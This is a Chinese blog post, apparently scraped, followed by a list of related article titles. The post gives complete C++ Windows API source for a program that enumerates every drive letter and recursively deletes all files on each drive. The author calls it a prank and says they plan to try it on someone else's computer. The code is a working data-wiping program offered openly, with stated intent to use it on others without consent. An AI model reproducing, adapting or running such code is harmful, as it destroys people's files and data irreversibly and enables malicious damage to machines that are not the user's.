用Windows API遍历所有文件并删除
来源:互联网 发布:西门子工业软件 编辑:程序博客网 时间:2024/06/05 14:27
最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....
#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){ WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) { continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName); DelFile(cNewPath);//递归 } // MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data)); }int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) { Path[0]='A'+ix; DelFile(Path); } } return 0;}
最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.
等有机会拿到别人电脑上试试吧....
- 用Windows API遍历所有文件并删除
- windows下用c++和python遍历目录下的文件夹并删除所有文件名为xx的文件
- Qt 遍历目录并删除目录下所有文件
- Qt 遍历目录并删除目录下所有文件
- windows API递归遍历文件夹下所有文件
- C# winfrom遍历指定目录下的所有文件,并删除指定文件
- Android遍历特定目录下所有文件,包含子目录的, 并删除最新创建的
- win32 api遍历目录下所有文件
- 遍历删除当前目录下所有文件
- windows api 实现删除指定目录下的所有文件(包括子文件夹下的所有文件)
- windows api 实现删除指定目录下的所有文件(包括子文件夹下的所有文件)
- windows api 实现删除指定目录下的所有文件(包括子文件夹下的所有文件)
- windows api 实现删除指定目录下的所有文件(包括子文件夹下的所有文件)
- Windows API函数删除指定文件目录下所有内容vc6.0通过
- Windows API函数删除指定文件目录下所有内容vc6.0通过
- Windows API遍历文件目录、搜索文件
- Linux下如何遍历指定目录下的所有文件并删除指定天数之前创建的文件
- windows遍历目录下所有文件
- 转载:Linux下使用wpa_supplicant连接WPA加密方式的WIFI
- android歌词同步
- 黑马程序员-----java基础三(之面向对象)
- Windows XP 64位注册表删除问题
- socket实现
- 用Windows API遍历所有文件并删除
- Innodb存储引擎查询输出分析--补充
- 黑马程序员-java基础之反射以及反射的常用
- 《英雄的黎明》纯音乐
- nyoj 12 喷水装置(二)
- 内核树的建立及其Hello World 模块的加载
- 重构:Inline Temp
- 【SDK编程】LRC歌词制作工具V1.0
- 频繁分配释放内存导致的性能问题的分析